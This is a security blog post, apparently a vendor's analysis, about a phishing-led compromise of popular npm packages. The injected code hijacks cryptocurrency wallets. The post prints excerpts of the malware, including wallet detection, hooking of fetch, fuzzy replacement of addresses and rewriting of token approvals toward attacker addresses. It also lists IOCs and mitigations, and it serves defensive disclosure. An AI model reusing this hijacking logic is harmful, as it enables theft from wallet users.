Table of contents

NPM Supply Chain Attack: Sophisticated Multi-Chain Cryptocurrency Drainer Infiltrates Popular Packages

NPM Supply Chain Attack: Sophisticated Multi-Chain Cryptocurrency Drainer Infiltrates Popular Packages - npm supply chain attack blog

The NPM ecosystem faced another significant supply chain attack when 18 popular packages, including highly-used libraries like debug and chalk, were compromised with advanced cryptocurrency drainer malware. This attack, affecting packages with over 2 billion weekly downloads, demonstrates how cybercriminals are leveraging trusted software distribution channels to deploy advanced Web3 wallet hijacking code. This blog takes a deep dive into how the malicious payload operates, its distribution through npm packages, and the IOCs associated with this supply chain compromise.

NPM supply chain compromise

The attack began with a sophisticated phishing campaign targeting package maintainers. Attackers sent deceptive emails from “support@npmjs.help” – a domain registered just three days before the attack – successfully compromising maintainer credentials. This allowed them to inject malicious code into 18 popular npm packages, including:

  • debug – A popular debugging utility
  • chalk – Terminal string styling library
  • Various other packages with millions of weekly downloads

The compromised packages, with the malicious payload designed to specifically target Web3 applications and cryptocurrency transactions. This supply chain attack demonstrates how trusted development dependencies can become vectors for financial malware distribution.

Web3 wallet attack surface

Web3 wallets like MetaMask, Trust Wallet, and other browser-based cryptocurrency wallets have become essential tools for interacting with decentralized applications (DApps). When developers unknowingly install compromised npm packages, the malicious code gains access to the same JavaScript execution context as these wallets, enabling sophisticated transaction manipulation attacks. The browser-based nature of both npm-delivered code and Web3 wallets creates the perfect storm for this type of supply chain attack.

Malware analysis

The cryptocurrency drainer we analyzed demonstrates advanced knowledge of blockchain protocols and wallet interactions. The malware is designed to operate silently in the background, intercepting wallet communications and redirecting cryptocurrency transactions to attacker-controlled addresses across multiple blockchain networks.

Initial obfuscation techniques

The original malware code heavily relies on obfuscation to evade detection. Variable names are replaced with hexadecimal identifiers like _0x124ed3, _0xba16ef, and function names are obscured using similar techniques. Additionally, the malware uses a complex object structure to store hundreds of cryptocurrency addresses, making static analysis challenging.

var _0xba16ef = {
  'zprkq': function (_0x23e86b, _0x5b593c) {
    return _0x23e86b + _0x5b593c;
  },
  'OiGzk': "1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx",
  'FlhWy': "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"
  // ... hundreds more obfuscated properties
};

Figure 1. Obfuscated variable structure containing attacker addresses

Multi-stage attack chain

Once the compromised npm package is installed and executed in a development or production environment, the malware operates through several coordinated stages, each designed to establish persistence and maximize cryptocurrency theft opportunities.

Stage 1: NPM Package execution and environment detection

The malware first executes as part of the legitimate npm package installation or runtime process. It then performs environment detection to identify if Web3 wallets are present and begins initialization of its payload.

Stage 2: Web3 wallet detection and initialization

The malware begins by detecting the presence of Web3 wallets in the browser environment. It specifically looks for window.ethereum objects, which indicate the presence of MetaMask or other Ethereum-compatible wallets.

async function checkethereumw() {
  try {
    const accounts = await window.ethereum.request({
      'method': "eth_accounts"
    });
    if (accounts.length > 0) {
      runmask(); // Initialize wallet hijacking
    }
  } catch (error) {
    // Fallback initialization
  }
}

Figure 2. Wallet detection mechanism

Stage 3: Network traffic interception

Once initialized, the malware hooks into both fetch API and XMLHttpRequest to intercept all network communications. This allows it to modify API responses containing cryptocurrency addresses before they reach the victim’s application.

// Hook fetch API
fetch = async function (...args) {
  const response = await fetch(...args);
  const modifiedData = replaceAddressesInContent(data);
  return new Response(modifiedData, {
    'status': response.status,
    'headers': response.headers
  });
};

Figure 3. Network interception mechanism

Stage 4: Advanced address replacement using fuzzy matching

Perhaps the most sophisticated aspect of this malware is its use of Levenshtein distance algorithm to perform fuzzy string matching. Instead of simple string replacement, it finds the “closest” attacker address to any legitimate address it encounters, making the replacement less noticeable to victims.

function calculateEditDistance(str1, str2) {
  // Levenshtein distance implementation
  const matrix = Array.from({
    'length': str1.length + 1
  }, () => Array(str2.length + 1).fill(0));
  // ... distance calculation logic
}

Figure 4. Fuzzy matching algorithm for address replacement

Stage 5: Transaction hijacking and manipulation

The final and most critical stage involves intercepting wallet transaction methods and modifying them to benefit the attacker. The malware targets several key Ethereum functions:

ERC-20 Token Approval Manipulation:

  • Intercepts approve() calls (0x095ea7b3) and grants unlimited allowance to the attacker address
  • Replaces the recipient address with the attacker’s address
  • Sets approval amount to maximum value (all ‘f’s in hex)

Transaction Redirection:

  • Intercepts transfer() calls (0xa9059cbb) and redirects funds
  • Modifies transferFrom() calls (0x23b872dd) to steal tokens
  • Manipulates permit functions (0xd505accf) for gasless approvals
if (data.startsWith("0x095ea7b3")) {
  const functionSig = data.substring(0, 10);
  const attackerAddress = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976";
  const unlimitedAmount = 'f'.repeat(64);
  modified.data = functionSig + attackerAddress + unlimitedAmount;
}

Figure 5. ERC-20 approval manipulation

Cross-chain support

The malware demonstrates impressive technical knowledge by supporting multiple cryptocurrency networks:

  • Ethereum: ERC-20 tokens and ETH transfers
  • Bitcoin: Legacy and SegWit address formats
  • Solana: SPL token transactions
  • TRON: TRX and TRC-20 tokens
  • Litecoin: Multiple address formats
  • Bitcoin Cash: CashAddr format

Each blockchain has specific address patterns and transaction structures, requiring the malware to implement different handling logic for each network.

Stealth and persistence mechanisms

The malware employs several techniques to remain undetected:

  1. Method Hooking: Preserves original function references and restores them if needed
  2. Gradual Deployment: Uses retry mechanisms with delays to avoid detection
  3. Error Handling: Graceful fallbacks ensure the malware doesn’t crash the host application
  4. Debug Interface: Hidden control interface for monitoring interception success
window.stealthProxyControl = {
  'isActive': () => isActive,
  'getInterceptCount': () => interceptionCount,
  'forceShield': () => hookWalletProvider(window.ethereum)
};

Figure 6. Hidden debugging interface

Key indicators of compromise (IOCs)

Primary attacker addresses:

Ethereum:

  • 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (Primary)
  • 0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024
  • 0x40C351B989113646bc4e9Dfe66AE66D24fE6Da7B

Bitcoin Legacy:

  • 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx
  • 1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd

Bitcoin SegWit:

  • bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm
  • bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9

Solana:

  • 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6
  • 98EWM95ct8tBYWroCxXYN9vCgN7NTcR6nUsvCx1mEdLZ

Impact and real-world implications

This npm supply chain attack poses unprecedented risks to the cryptocurrency ecosystem:

  1. Massive Scale: With over 2 billion weekly downloads, the potential victim count is enormous
  2. Supply Chain Trust: Compromise of trusted development dependencies breaks fundamental security assumptions
  3. Financial Losses: Direct theft of cryptocurrencies and tokens across multiple blockchain networks
  4. Compromised DeFi Interactions: Unlimited token approvals leading to future drainage
  5. Cross-Chain Impact: Simultaneous attacks across multiple blockchain networks
  6. Developer Targeting: Specifically targets the developer community, who are often early adopters of Web3 technologies
  7. Stealth Operations: Difficult detection allows prolonged compromise across development and production environments

The combination of supply chain distribution and fuzzy address matching makes this attack particularly dangerous, as both the delivery mechanism and the payload appear legitimate, significantly reducing the likelihood of detection.

Conclusion

The sophisticated cryptocurrency drainer analyzed demonstrates the evolving threat landscape facing Web3 users. By combining advanced obfuscation techniques, cross-chain support, and intelligent address replacement algorithms, this malware represents a significant advancement in cryptocurrency theft capabilities.

This incident underscores the critical importance of Web3 security awareness and the need for robust security measures when interacting with cryptocurrency applications. As decentralized finance continues to grow, we can expect to see increasingly sophisticated attacks targeting wallet infrastructure and user interactions.

Mitigation recommendations

To protect against similar supply chain attacks and cryptocurrency theft, developers and organizations should implement:

Supply Chain Security:

  • Dependency Auditing: Regularly audit npm dependencies 
  • Package Lock Files: Use package-lock.json to ensure consistent dependency versions
  • Trusted Sources: Verify package publishers and avoid packages with suspicious ownership changes
  • Dependency Monitoring: Implement monitoring for unexpected package updates or modifications
  • Private Registries: Consider using private npm registries for critical applications

    Detection and Response:

    • Network Monitoring: Monitor for suspicious network activity and API modifications
    • Behavioral Analysis: Implement detection for unusual wallet interaction patterns
    • Security Scanning: Use tools like Mend.io to detect malicious package installations

    As supply chain attacks become more sophisticated and cryptocurrency adoption continues to expand, proactive security measures become essential. The npm ecosystem’s massive scale and the financial incentives in Web3 make this attack vector particularly attractive to cybercriminals, requiring enhanced vigilance from the entire development community.

    Affected Packages:

    backslash0.2.1
    chalk-template1.1.1
    supports-hyperlinks4.1.1
    has-ansi6.0.1
    simple-swizzle0.2.3
    color-string2.1.1
    error-ex1.3.3
    color-name2.0.1
    is-arrayish0.3.3
    slice-ansi7.1.1
    color-convert3.1.1
    wrap-ansi9.0.1
    ansi-regex6.2.1
    supports-color10.2.1
    strip-ansi7.1.1
    chalk5.6.1
    debug4.4.2
    ansi-styles6.2.2
    proto-tinker-wc0.1.87

    Manage open source risk

    Recent resources

    NPM Supply Chain Attack: Sophisticated Multi-Chain Cryptocurrency Drainer Infiltrates Popular Packages - sbom security key components and use cases blog

    SBOM Security: 6 Key Components and Top 3 Use Cases

    Discover 6 core components and 3 top use cases of SBOM security.

    Read more
    NPM Supply Chain Attack: Sophisticated Multi-Chain Cryptocurrency Drainer Infiltrates Popular Packages - blog a guide to standard SBOM formats

    What Is A Software Bill of Materials (SBOM) & 4 Critical Benefits

    Learn how SBOMs improve transparency, security, and compliance.

    Read more
    NPM Supply Chain Attack: Sophisticated Multi-Chain Cryptocurrency Drainer Infiltrates Popular Packages - Blog PR Forge

    Introducing Mend Forge

    Explore Mend Forge—Mend.io’s AI-native innovation engine

    Read more